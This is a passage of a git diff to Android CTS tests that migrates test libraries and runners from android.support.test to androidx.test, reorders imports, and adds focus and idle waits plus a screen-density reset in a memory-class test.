LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner mockito-target-minus-junit4
+ ctstestrunner-axt mockito-target-minus-junit4
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/admin/AndroidManifest.xml b/tests/admin/AndroidManifest.xml
index d3467af..54adff3 100644
--- a/tests/admin/AndroidManifest.xml
+++ b/tests/admin/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.admin.app"
android:label="Tests for the admin APIs.">
<meta-data android:name="listener"
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
index 947fb7d..ee4a158 100644
--- a/tests/admin/app/Android.mk
+++ b/tests/admin/app/Android.mk
@@ -22,7 +22,7 @@
LOCAL_JAVA_LIBRARIES := guava
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index e38ad2f..25521ed 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -27,14 +27,14 @@
android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ctstestserver \
mockito-target-minus-junit4 \
- android-support-test \
+ androidx.test.rules \
platform-test-annotations \
cts-amwm-util \
- android-support-test
+ androidx.test.rules
LOCAL_SRC_FILES := \
$(call all-java-files-under, src)
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index 96977fb..4e69a0c 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<uses-library android:name="org.apache.http.legacy" android:required="false" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.app.stubs"
android:label="CTS tests of android.app">
<meta-data android:name="listener"
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 69505c3..321657c 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -27,7 +27,7 @@
<option name="test-file-name" value="CtsCantSaveState2.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="runner" value="android.support.test.runner.AndroidJUnitRunner" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="package" value="android.app.cts" />
<option name="runtime-hint" value="6m38s" />
<option name="hidden-api-checks" value="false"/>
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 706be8f..d985861 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -32,8 +32,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ctstestserver \
mockito-target-minus-junit4 \
androidx.legacy_legacy-support-v4
diff --git a/tests/app/app/src/android/app/stubs/DialogStubActivity.java b/tests/app/app/src/android/app/stubs/DialogStubActivity.java
index bb8d85b..1db5a84 100644
--- a/tests/app/app/src/android/app/stubs/DialogStubActivity.java
+++ b/tests/app/app/src/android/app/stubs/DialogStubActivity.java
@@ -19,18 +19,17 @@
import android.app.Activity;
import android.app.AlertDialog;
import android.app.DatePickerDialog;
+import android.app.DatePickerDialog.OnDateSetListener;
import android.app.Dialog;
import android.app.TimePickerDialog;
-import android.app.DatePickerDialog.OnDateSetListener;
import android.app.TimePickerDialog.OnTimeSetListener;
import android.content.Context;
import android.content.DialogInterface;
-import android.content.Intent;
import android.content.DialogInterface.OnCancelListener;
+import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
-import android.support.test.rule.ActivityTestRule;
import android.util.Log;
import android.view.KeyEvent;
import android.view.LayoutInflater;
@@ -38,6 +37,8 @@
import android.widget.DatePicker;
import android.widget.TimePicker;
+import androidx.test.rule.ActivityTestRule;
+
/*
* Stub class for Dialog, AlertDialog, DatePickerDialog, TimePickerDialog etc.
*/
diff --git a/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java b/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
index f38348c..e4e3fee 100644
--- a/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
@@ -15,26 +15,28 @@
*/
package android.app.stubs;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
import android.app.ExpandableListActivity;
import android.os.Bundle;
import android.os.Looper;
import android.os.MessageQueue;
import android.view.ContextMenu;
-import android.view.View;
import android.view.ContextMenu.ContextMenuInfo;
-import android.support.test.InstrumentationRegistry;
+import android.view.View;
import android.widget.ExpandableListAdapter;
import android.widget.ExpandableListView;
import android.widget.SimpleExpandableListAdapter;
+import androidx.test.InstrumentationRegistry;
+
import com.android.internal.R;
import com.android.internal.view.menu.ContextMenuBuilder;
+
import com.google.android.collect.Lists;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
public class ExpandableListTestActivity extends ExpandableListActivity {
private static final String NAME = "NAME";
private static final String IS_EVEN = "IS_EVEN";
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 304f79e..489dea0 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -19,7 +19,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
+ compatibility-device-util-axt \
LOCAL_SRC_FILES := \
../app/src/android/app/stubs/LocalService.java
diff --git a/tests/app/src/android/app/cts/ActivityActionModeTest.java b/tests/app/src/android/app/cts/ActivityActionModeTest.java
index 1e1ab21..2a0e16d 100644
--- a/tests/app/src/android/app/cts/ActivityActionModeTest.java
+++ b/tests/app/src/android/app/cts/ActivityActionModeTest.java
@@ -15,23 +15,23 @@
*/
package android.app.cts;
+import static org.junit.Assert.*;
import static org.mockito.Mockito.*;
import android.app.stubs.MockActivity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
import android.view.ActionMode;
import android.view.Window;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class ActivityActionModeTest {
diff --git a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
index 0668ff8..cda65a9 100644
--- a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
@@ -22,6 +22,7 @@
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
+import android.support.test.uiautomator.UiDevice;
import android.test.ActivityInstrumentationTestCase2;
import android.util.DisplayMetrics;
import android.view.Display;
@@ -31,6 +32,8 @@
import java.util.HashMap;
import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* {@link ActivityInstrumentationTestCase2} that tests {@link ActivityManager#getMemoryClass()}
@@ -156,12 +159,35 @@
@CddTest(requirement="3.7")
public void testGetMemoryClass() throws Exception {
+ UiDevice uiDevice = UiDevice.getInstance(getInstrumentation());
+ int density = resetDensityIfNeeded(uiDevice);
+
int memoryClass = getMemoryClass();
int screenDensity = getScreenDensity();
int screenSize = getScreenSize();
assertMemoryForScreenDensity(memoryClass, screenDensity, screenSize);
runHeapTestApp(memoryClass);
+
+ restoreDensityIfNeeded(uiDevice, density);
+ }
+
+ private int resetDensityIfNeeded(UiDevice device) throws Exception {
+ final String output = device.executeShellCommand("wm density");
+ final Pattern p = Pattern.compile("Override density: (\\d+)");
+ final Matcher m = p.matcher(output);
+ if (m.find()) {
+ device.executeShellCommand("wm density reset");
+ int restoreDensity = Integer.parseInt(m.group(1));
+ return restoreDensity;
+ }
+ return -1;
+ }
+
+ private void restoreDensityIfNeeded(UiDevice device, int restoreDensity) throws Exception {
+ if (restoreDensity > 0) {
+ device.executeShellCommand("wm density " + restoreDensity);
+ }
}
private int getMemoryClass() {
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index ae58e43..5beb1c4 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -40,7 +40,6 @@
import android.os.RemoteException;
import android.os.SystemClock;
import android.server.am.WindowManagerState;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiSelector;
@@ -48,6 +47,8 @@
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.SystemUtil;
public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -1130,9 +1131,13 @@
WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
WAIT_TIME);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+
try {
// Start the heavy-weight app, should launch like a normal app.
mContext.startActivity(activityIntent);
+ waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
+ device.waitForIdle();
// Wait for process state to reflect running activity.
uidForegroundListener.waitForValue(
@@ -1181,6 +1186,7 @@
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
+ device.waitForIdle();
// Exit activity, check to see if we are now cached.
getInstrumentation().getUiAutomation().performGlobalAction(
@@ -1259,6 +1265,8 @@
try {
// Start the first heavy-weight app, should launch like a normal app.
mContext.startActivity(activity1Intent);
+ waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
+ device.waitForIdle();
// Make sure the uid state reports are as expected.
uid1Watcher.waitFor(WatchUidRunner.CMD_ACTIVE, null);
@@ -1277,6 +1285,7 @@
// First, let's try returning to the original app.
maybeClick(device, new UiSelector().resourceId("android:id/switch_old"));
+ waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
device.waitForIdle();
// App should now be back in foreground.
@@ -1293,6 +1302,7 @@
// Now we'll switch to the new app.
maybeClick(device, new UiSelector().resourceId("android:id/switch_new"));
+ waitForAppFocus(CANT_SAVE_STATE_2_PACKAGE_NAME, WAIT_TIME);
device.waitForIdle();
// The original app should now become cached.
@@ -1316,6 +1326,7 @@
// Try starting the first heavy weight app, but return to the existing second.
startActivityAndWaitForShow(activity1Intent);
maybeClick(device, new UiSelector().resourceId("android:id/switch_old"));
+ waitForAppFocus(CANT_SAVE_STATE_2_PACKAGE_NAME, WAIT_TIME);
device.waitForIdle();
uid2Watcher.waitFor(WatchUidRunner.CMD_UNCACHED, null);
uid2Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
@@ -1328,6 +1339,7 @@
// Again start the first heavy weight app, this time actually switching to it
startActivityAndWaitForShow(activity1Intent);
maybeClick(device, new UiSelector().resourceId("android:id/switch_new"));
+ waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
device.waitForIdle();
// The second app should now become cached.
@@ -1340,6 +1352,7 @@
// Exit activity, check to see if we are now cached.
waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
+ device.waitForIdle();
getInstrumentation().getUiAutomation().performGlobalAction(
AccessibilityService.GLOBAL_ACTION_BACK);
uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
diff --git a/tests/app/src/android/app/cts/AlertDialogTest.java b/tests/app/src/android/app/cts/AlertDialogTest.java
index 8eb215b..5c6a505 100644
--- a/tests/app/src/android/app/cts/AlertDialogTest.java
+++ b/tests/app/src/android/app/cts/AlertDialogTest.java
@@ -16,31 +16,31 @@
package android.app.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
import android.app.AlertDialog;
import android.app.Instrumentation;
import android.app.stubs.DialogStubActivity;
+import android.app.stubs.R;
import android.content.DialogInterface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.widget.Button;
-import com.android.compatibility.common.util.PollingCheck;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
-import android.app.stubs.R;
+import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertNotNull;
-
/*
* Test AlertDialog
*/
diff --git a/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java b/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
index f18ffd4..75017c1 100644
--- a/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
+++ b/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
@@ -16,6 +16,8 @@
package android.app.cts;
+import static org.mockito.Mockito.*;
+
import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.app.Instrumentation;
@@ -28,17 +30,16 @@
import android.database.Cursor;
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteDatabase;
-import android.support.test.InstrumentationRegistry;
import android.test.ActivityInstrumentationTestCase2;
import android.test.suitebuilder.annotation.MediumTest;
import android.widget.ListView;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.PollingCheck;
import java.io.File;
-import static org.mockito.Mockito.*;
-
@MediumTest
public class AlertDialog_BuilderCursorTest
extends ActivityInstrumentationTestCase2<DialogStubActivity> {
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index b2749c7..abb99b9 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -15,10 +15,19 @@
*/
package android.app.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.app.Dialog;
import android.app.Instrumentation;
import android.app.stubs.DialogStubActivity;
import android.app.stubs.OrientationTestUtils;
+import android.app.stubs.R;
import android.app.stubs.TestDialog;
import android.content.Context;
import android.content.DialogInterface;
@@ -38,10 +47,6 @@
import android.os.Looper;
import android.os.Message;
import android.os.SystemClock;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.InputDevice;
import android.view.KeyEvent;
import android.view.LayoutInflater;
@@ -52,7 +57,10 @@
import android.view.WindowManager;
import android.widget.LinearLayout;
-import android.app.stubs.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.PollingCheck;
@@ -61,14 +69,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
import java.lang.ref.WeakReference;
@RunWith(AndroidJUnit4.class)
diff --git a/tests/app/src/android/app/cts/FragmentTransactionTest.java b/tests/app/src/android/app/cts/FragmentTransactionTest.java
index 019abad..11d3ed1 100644
--- a/tests/app/src/android/app/cts/FragmentTransactionTest.java
+++ b/tests/app/src/android/app/cts/FragmentTransactionTest.java
@@ -23,9 +23,10 @@
import android.app.stubs.FragmentTestActivity;
import android.app.stubs.R;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 3f61605..76e576a 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -51,10 +51,11 @@
import android.provider.Telephony.Threads;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
-import android.support.test.InstrumentationRegistry;
import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
import junit.framework.Assert;
import java.io.FileInputStream;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index d660040..6c25a2d 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -27,11 +27,11 @@
import android.app.stubs.LocalGrantedService;
import android.app.stubs.LocalService;
import android.app.stubs.NullService;
+import android.app.stubs.R;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
-import android.support.test.InstrumentationRegistry;
import android.os.Binder;
import android.os.Bundle;
import android.os.IBinder;
@@ -41,7 +41,8 @@
import android.service.notification.StatusBarNotification;
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Log;
-import android.app.stubs.R;
+
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.IBinderParcelable;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 15e7ed7..6d22063 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -503,7 +503,7 @@
public void testUsbAccessory() {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
- !mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) &&
+ !mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) &&
!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) &&
!mPackageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED) &&
!isAndroidEmulator() &&
@@ -535,7 +535,7 @@
public void testAudioOutputFeature() throws Exception {
if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) ||
- mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
+ mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
assertAvailable(PackageManager.FEATURE_AUDIO_OUTPUT);
}
}
diff --git a/tests/app/src/android/app/cts/TaskDescriptionTest.java b/tests/app/src/android/app/cts/TaskDescriptionTest.java
index 408930e..47c13b8 100644
--- a/tests/app/src/android/app/cts/TaskDescriptionTest.java
+++ b/tests/app/src/android/app/cts/TaskDescriptionTest.java
@@ -17,29 +17,29 @@
package android.app.cts;
import static android.content.Context.ACTIVITY_SERVICE;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.fail;
+import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RecentTaskInfo;
import android.app.ActivityManager.TaskDescription;
+import android.app.stubs.MockActivity;
import android.graphics.Bitmap;
import android.graphics.Color;
import android.platform.test.annotations.Presubmit;
-import java.util.List;
-import org.junit.After;
-import org.junit.Before;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import android.app.Activity;
-import android.app.stubs.MockActivity;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import java.util.List;
/**
* Build: mmma -j32 cts/tests/app
diff --git a/tests/app/src/android/app/cts/TimePickerDialogTest.java b/tests/app/src/android/app/cts/TimePickerDialogTest.java
index 47a666c..f543c79 100644
--- a/tests/app/src/android/app/cts/TimePickerDialogTest.java
+++ b/tests/app/src/android/app/cts/TimePickerDialogTest.java
@@ -26,15 +26,17 @@
import android.app.stubs.R;
import android.content.Context;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.test.UiThreadTest;
import android.test.suitebuilder.annotation.MediumTest;
import android.widget.TimePicker;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+
/**
* Test {@link TimePickerDialog}.
*/
diff --git a/tests/app/src/android/app/cts/WallpaperColorsTest.java b/tests/app/src/android/app/cts/WallpaperColorsTest.java
index 7b4c59e..a2fe4b3 100644
--- a/tests/app/src/android/app/cts/WallpaperColorsTest.java
+++ b/tests/app/src/android/app/cts/WallpaperColorsTest.java
@@ -20,14 +20,12 @@
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
-import android.graphics.Paint;
import android.graphics.Rect;
import android.graphics.drawable.ColorDrawable;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Pair;
-import android.util.Size;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Assert;
import org.junit.Test;
diff --git a/tests/app/src/android/app/cts/WallpaperInfoTest.java b/tests/app/src/android/app/cts/WallpaperInfoTest.java
index 1b30902..402be40 100644
--- a/tests/app/src/android/app/cts/WallpaperInfoTest.java
+++ b/tests/app/src/android/app/cts/WallpaperInfoTest.java
@@ -25,8 +25,9 @@
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.service.wallpaper.WallpaperService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 139e7c1..e53b11e 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -18,7 +18,6 @@
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.ArgumentMatchers.nullable;
import static org.mockito.Mockito.atLeast;
import static org.mockito.Mockito.mock;
@@ -28,6 +27,7 @@
import android.app.WallpaperColors;
import android.app.WallpaperManager;
+import android.app.stubs.R;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
@@ -39,20 +39,19 @@
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.view.Display;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.MockitoAnnotations;
-import android.app.stubs.R;
-
import java.io.IOException;
import java.util.ArrayList;
import java.util.concurrent.CountDownLatch;
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index d8d1470..c372a38 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -16,7 +16,6 @@
package android.app.cts.android.app.cts.tools;
-import android.Manifest;
import android.app.ActivityManager;
import android.app.Instrumentation;
import android.content.Context;
@@ -26,7 +25,8 @@
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
index 5d74e87..85598da 100644
--- a/tests/autofillservice/Android.mk
+++ b/tests/autofillservice/Android.mk
@@ -24,9 +24,9 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.annotation_annotation \
- compatibility-device-util \
- ctsdeviceutillegacy \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt \
truth-prebuilt \
ub-uiautomator \
testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 75b9920..bcfc2c8 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -29,8 +29,7 @@
<uses-library android:name="android.test.runner" />
- <activity android:name=".LoginActivity"
- android:screenOrientation="portrait">
+ <activity android:name=".LoginActivity" >
<intent-filter>
<!-- This intent filter is not really needed by CTS, but it maks easier to launch
this app during CTS development... -->
@@ -144,7 +143,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for the AutoFill Framework APIs."
android:targetPackage="android.autofillservice.cts" >
</instrumentation>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 577975f..7eb8bcf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -28,11 +28,12 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.widget.RemoteViews;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.RequiredFeatureRule;
import org.junit.After;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
index 7e36593..9bc0bc6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
@@ -16,7 +16,8 @@
package android.autofillservice.cts;
import android.app.Activity;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.rule.ActivityTestRule;
/**
* Custom {@link ActivityTestRule}.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
index 805db4e..14e578a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
@@ -25,9 +25,10 @@
import android.service.autofill.BatchUpdates;
import android.service.autofill.InternalTransformation;
import android.service.autofill.Transformation;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.RemoteViews;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
index accf6d9..6d839b0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
@@ -28,10 +28,11 @@
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.CharSequenceTransformation;
import android.service.autofill.ValueFinder;
-import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillId;
import android.widget.RemoteViews;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
index ee6e8e0..e765906 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
@@ -25,9 +25,10 @@
import android.service.autofill.InternalValidator;
